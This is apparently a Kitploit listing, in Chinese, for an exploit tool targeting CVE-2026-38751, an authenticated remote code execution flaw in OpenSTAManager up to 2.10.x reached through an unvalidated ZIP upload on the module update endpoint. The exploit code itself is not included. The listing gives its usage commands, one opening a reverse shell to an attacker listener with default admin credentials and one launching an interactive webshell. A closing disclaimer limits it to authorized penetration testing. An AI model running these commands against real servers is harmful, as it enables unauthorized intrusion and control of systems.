CVE-2026-38751 — 针对OpenSTAManager的已验证远程代码执行漏洞利用，通过未经验证的ZIP上传实现。支持反弹Shell和交互式Webshell模式，用于渗透测试。 | Kitploit

CVE-2026-38751 — OpenSTAManager 模块上传远程代码执行

通过模块更新端点的未验证ZIP上传实现经过身份验证的远程代码执行。

受影响版本: OpenSTAManager <= 2.10.x

环境要求

pip install requests

使用方法

# Reverse shell (Penelope or any listener)
python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444

# Interactive webshell
python3 exploit.py -u http://TARGET -U admin -P admin --interactive

参考资料

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

免责声明

仅用于授权的渗透测试和教育目的。